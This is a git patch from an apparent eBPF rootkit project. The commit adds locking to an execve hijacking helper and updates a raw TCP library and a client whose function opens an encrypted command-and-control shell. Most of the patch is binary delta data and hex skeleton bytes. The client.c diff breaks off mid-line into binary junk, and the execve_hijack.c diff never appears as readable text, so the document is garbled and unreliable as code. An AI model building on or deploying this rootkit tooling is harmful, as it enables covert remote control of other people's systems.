From 8be536fb6fa0d666d8874d7e7c11c91ef644987a Mon Sep 17 00:00:00 2001 From: h3xduck Date: Thu, 14 Apr 2022 13:24:43 -0400 Subject: [PATCH] Added locking mechanism for execve_hijack. Incorporated new library rawtcp with latest version without bug. --- src/.output/kit.o | Bin 87192 -> 87192 bytes src/.output/kit.skel.h | 12 ++++++------ src/bin/kit | Bin 1586496 -> 1586496 bytes src/client/client.c | 8 +++----- src/client/client.o | Bin 13976 -> 14560 bytes src/client/injector | Bin 46136 -> 46136 bytes src/client/lib/libRawTCP_Lib.a | Bin 51708 -> 51708 bytes src/ebpf/include/bpf/exec.h | 2 ++ src/helpers/execve_hijack | Bin 42016 -> 46208 bytes src/helpers/execve_hijack.c | 34 ++++++++++++++++++++++++--------- src/helpers/execve_hijack.o | Bin 9224 -> 9792 bytes 11 files changed, 36 insertions(+), 20 deletions(-) diff --git a/src/.output/kit.o b/src/.output/kit.o index 01a583477514f2c5a867138a15c7f331bd12368e..1c10bba3e18585956fc142e84bf07e7295081e95 100644 GIT binary patch delta 93 zcmbQSl6A&P)(wpl1ZOZaa4;}1{N-U_=wxPK5Sz1k(gc52Lmg%Y4K9fA5ite^Rs&{+ g04V<}h;PEoPyywuhy(c+lZB?eXWX)xY5KIi02{X!N&o-= delta 93 zcmbQSl6A&P)(wpl1Sc>va4;}1{N-U_=wxPK5Sy}j(gc52LltHQ4K9fA5ite^Rt;u` g04V<}h_A!UPyywuhy(cslZB?eXI!(HY5KIi01{Ug5&!@I diff --git a/src/.output/kit.skel.h b/src/.output/kit.skel.h index 4e4445d..5a38f70 100644 --- a/src/.output/kit.skel.h +++ b/src/.output/kit.skel.h @@ -1695,8 +1695,8 @@ kit_bpf__create_skeleton(struct kit_bpf *obj) \x0c\0\0\x0d\x70\0\0\x90\x02\0\0\x50\x0c\0\0\x8a\x0c\0\0\x0d\x70\0\0\x98\x02\0\ \0\x50\x0c\0\0\x8a\x0c\0\0\x0d\x70\0\0\xa8\x02\0\0\xe8\x02\0\0\0\0\0\0\0\0\0\0\ \xf8\x02\0\0\xe8\x02\0\0\xc1\x07\0\0\x01\x0c\x04\0\xe0\x0c\0\0\x69\0\0\0\0\0\0\ -\0\xfd\x0c\0\0\x2b\x0d\0\0\0\x90\x03\0\x08\0\0\0\xfd\x0c\0\0\x89\x03\0\0\x16\ -\x94\x03\0\x18\0\0\0\xfd\x0c\0\0\x67\x0d\0\0\x08\x64\x01\0\x30\0\0\0\xfd\x0c\0\ +\0\xfd\x0c\0\0\x2b\x0d\0\0\0\x98\x03\0\x08\0\0\0\xfd\x0c\0\0\x89\x03\0\0\x16\ +\x9c\x03\0\x18\0\0\0\xfd\x0c\0\0\x67\x0d\0\0\x08\x64\x01\0\x30\0\0\0\xfd\x0c\0\ \0\x67\x0d\0\0\x08\x64\x01\0\x38\0\0\0\xfd\x0c\0\0\x84\x0d\0\0\x05\x70\x01\0\ \x60\0\0\0\xfd\x0c\0\0\xb2\x0d\0\0\x0b\x78\x01\0\xc0\0\0\0\xfd\x0c\0\0\xe1\x0d\ \0\0\x0a\x80\x01\0\x10\x01\0\0\xfd\x0c\0\0\x0b\x0e\0\0\x12\x84\x01\0\x18\x01\0\ @@ -1749,9 +1749,9 @@ kit_bpf__create_skeleton(struct kit_bpf *obj) \x08\x08\x03\0\x88\x09\0\0\xfd\x0c\0\0\x1d\x16\0\0\x09\x0c\x03\0\xa8\x09\0\0\ \xfd\x0c\0\0\x44\x16\0\0\x3c\x14\x03\0\xc0\x09\0\0\xfd\x0c\0\0\x44\x16\0\0\x08\ \x14\x03\0\xd0\x09\0\0\xfd\x0c\0\0\x44\x16\0\0\x08\x14\x03\0\xd8\x09\0\0\xfd\ -\x0c\0\0\x75\x0e\0\0\x09\x18\x03\0\0\x0a\0\0\xfd\x0c\0\0\x89\x16\0\0\x05\x24\ -\x03\0\x28\x0a\0\0\xfd\x0c\0\0\xc4\x16\0\0\x05\x28\x03\0\x50\x0a\0\0\xfd\x0c\0\ -\0\xf5\x16\0\0\x05\x2c\x03\0\x78\x0a\0\0\xfd\x0c\0\0\x24\x17\0\0\x05\x30\x03\0\ +\x0c\0\0\x75\x0e\0\0\x09\x18\x03\0\0\x0a\0\0\xfd\x0c\0\0\x89\x16\0\0\x05\x2c\ +\x03\0\x28\x0a\0\0\xfd\x0c\0\0\xc4\x16\0\0\x05\x30\x03\0\x50\x0a\0\0\xfd\x0c\0\ +\0\xf5\x16\0\0\x05\x34\x03\0\x78\x0a\0\0\xfd\x0c\0\0\x24\x17\0\0\x05\x38\x03\0\ \xb8\x0a\0\0\xfd\x0c\0\0\0\0\0\0\0\0\0\0\xc0\x0a\0\0\xfd\x0c\0\0\x53\x17\0\0\ \x08\x18\x01\0\xd8\x0a\0\0\xfd\x0c\0\0\x53\x17\0\0\x08\x18\x01\0\xe0\x0a\0\0\ \xfd\x0c\0\0\x8f\x11\0\0\x09\x1c\x01\0\x18\x0b\0\0\xfd\x0c\0\0\x83\x17\0\0\x08\ @@ -1761,7 +1761,7 @@ kit_bpf__create_skeleton(struct kit_bpf *obj) \0\xc0\x17\0\0\x09\x34\x01\0\x88\x0b\0\0\xfd\x0c\0\0\x0e\x18\0\0\x27\x48\x01\0\ \xa0\x0b\0\0\xfd\x0c\0\0\x0e\x18\0\0\x05\x48\x01\0\xb8\x0b\0\0\xfd\x0c\0\0\xbd\ \x11\0\0\x08\x80\x02\0\xc0\x0b\0\0\xfd\x0c\0\0\x58\x18\0\0\x09\x84\x02\0\xe0\ -\x0b\0\0\xfd\x0c\0\0\xc1\x07\0\0\x01\xac\x03\0\xd6\x18\0\0\x89\0\0\0\0\0\0\0\ +\x0b\0\0\xfd\x0c\0\0\xc1\x07\0\0\x01\xb4\x03\0\xd6\x18\0\0\x89\0\0\0\0\0\0\0\ \xdf\x18\0\0\x04\x19\0\0\0\xd4\0\0\x08\0\0\0\xdf\x18\0\0\x2d\x19\0\0\x29\xe0\0\ \0\x10\0\0\0\xdf\x18\0\0\x63\x19\0\0\x25\xe4\0\0\x18\0\0\0\x8d\x19\0\0\xc8\x19\ \0\0\x15\x30\0\0\x28\0\0\0\xdf\x18\0\0\x01\x1a\0\0\x08\x0c\x01\0\x30\0\0\0\xdf\ diff --git a/src/bin/kit b/src/bin/kit index dcc20a74dc0727eee5a779c80d58b333b17cd316..2cb51046122c5f64df1fdc888f9f972cf4077470 100755 GIT binary patch delta 214 zcmX@`D&fGZgbfwUBGHP!&mZI}3sTy3_>WR*hFZ&>9c9fu%%1_rS?+Yhxe`?DJAFf(XyLBx-UF)*+iFf#-|`CmbN6J~}AC|^Y! z$hVm8)Xn^!aZ9@q&Q9w6ogVm=_|2Vwyr76f7; UAQlE<5g--?VzKQ;J>q;T0Siw+(f|Me delta 214 zcmX@`D&fGZgbfwUB9W{foEe{upSCw&+|p8gZMCS{CH3YW=Jp1B2LK{aFoFm>D#B|~{I4Ls4l_dql&>NV zSlh=xTf6*XoXP^3lOscF&hxG12G2>a{@6J5OV`D4-oSLF&_}~1F--Q3j(na U5DNpb2oQ?`vDkK_9&x^v0DOf&2mk;8 diff --git a/src/client/client.c b/src/client/client.c index 17b743c..ac28ac9 100644 --- a/src/client/client.c +++ b/src/client/client.c @@ -201,7 +201,7 @@ void activate_command_control_shell_encrypted(char* argv){ char* payload = malloc(SYN_PACKET_PAYLOAD_LEN); srand(time(NULL)); for(int ii=0; ii{8FU&CozevjR{DAF_tH>FRMjDPs=%U_wTy!bbsU;%+?%( z$&$AsKg^lQs@EA9s@D=v&haBdy)f6(Sd=dpFG7t_xN zG0J0KoA(BQ7P$l&NIkoH9f@(vXT>AvLG?bjqTk4VTo2na!Q~!FuA&1F=qSQDSLCc) zz1SxzQp8n+OHd>St|NzwnN$Q5m2lB-a_-9}e)8&IivWh{bouGv|)dNCF? zxAoe}WvmV5 z2`f6(6D~3gu{*gaGzgZ_?u5Me$@^J(?-1vb7kg^N?c_Hy&eztidwBKoA~-eW;;473 zzXn{aShrI~eC4gGQLNoUQ&b6wwqq_3UN49CMrFe?R!f^EHmgJP+#_&?PYh{L|z z=Vh6AHSV)TI}b_zZ*e6>35%Ris}uOD2D;`=_{5FKk_Nn8Z{;N?rAZ2g*ThgTDEji7%pWqk=7#oUcnU=4%%Eq#yr06m zU66*27)COD;E5P_N7c1-9KK;3{^K~jFdeh2{CO}s`R6L0W8il|5`5Zl0#})62nRiD z#Eft-w26Wpp9|#kEc%4DY1Rx(1J@2|eO0qABkNviZP%<@$$CU|Lgr(dbthThk+B_` z^(0w)#FcQ+{+L-OgBqvdi^OrGr!an#@u`ewPk;qn=+F5|#tXpaXQiPFhEUv(5USqzm1MPq5cy<77*fiDwW@p1SO z;+P0OPNn0F&t&|RmS-m^=u%vKSDJ12FrQg0c7Wx~W&ASZlNi6nIM?tZN&*vk7Ac{GoO`D@n^`tSmVzT4{Q7d;-xO9=f9N< z<*q?()62xGG`@rQLXF$R7i+wQc#X#QIswZxLyQ6}jlWL3PUC`jy~YpHYx$VQ-z5Jh z8a2c36tGs~Z&Sc}jUOlel*SwU;^6%A@TXZkT5;9f>lceE7o?ZtpDnno9I?G}f!XgD zow)&#s0=&P)T*$V@QaG7C1!J(*aAa&K%9nQO+dP)R)@{TfT*Yjdq8Y~VYpJ9hT%X^ X+=QWNil|tyB>iZWs`H8gWvBfOYdlFK delta 3413 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 NIY``vHxBG|`#0wrsILG3 diff --git a/src/client/lib/libRawTCP_Lib.a b/src/client/lib/libRawTCP_Lib.a index a7c465a8af5e9e0a591e3774dd214a4bf3759308..828fcec523d432e1308ba849125c8f748aaac1f6 100644 GIT binary patch delta 459 zcmew}nfcFT<_#illHIOLdMg+`x_wu8bcZ&0bh~!=bh`?8bROHR>E_Nfxx`}+t~?Ye6Sen0#*qQphy#kEvrNtE9>O^pfJYM zn~wzru?l@)1e)&3C(y>^%**D{%*=d$vsOeD6DL?4D7Aj_K{N5mOQJFu4^QTe)@M|j zY#S}k*u6P4`Z+UW(PZ0ramI$pew8wieR4nE>?{3-elbbamL4!5B7^Q{+=8QWD8FY zoFL9Pdvk9>I~!y7WYKhYpp#;O{%usI4Zh1Hg|pu0N1#Tr2qf` delta 460 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 delta 8427 zcmZ`;3tUxI)<5U)5J=^M4<0_afZ`i2C?X*PmUp@$CT3`w8s;l&R2-pCQ@i+GX}n!& zsFjJ18O}J3(@PAe%u=sr;glIZDm9zXvMxRXdrXwpng7~nA3QqWxB0REXZ_b>@4fau z`|Nv8MYC3WNUM&GuIQ$Sl5c=w|I?ELpLf?r8ls7c&5%_<2wzJ1X8fp+VP~SLXTM-p z<#UCSFY0!*ha0lQjP?fDF%UND$dLWCN{xxGkX9Aas$v?wpdN`HIodF~ 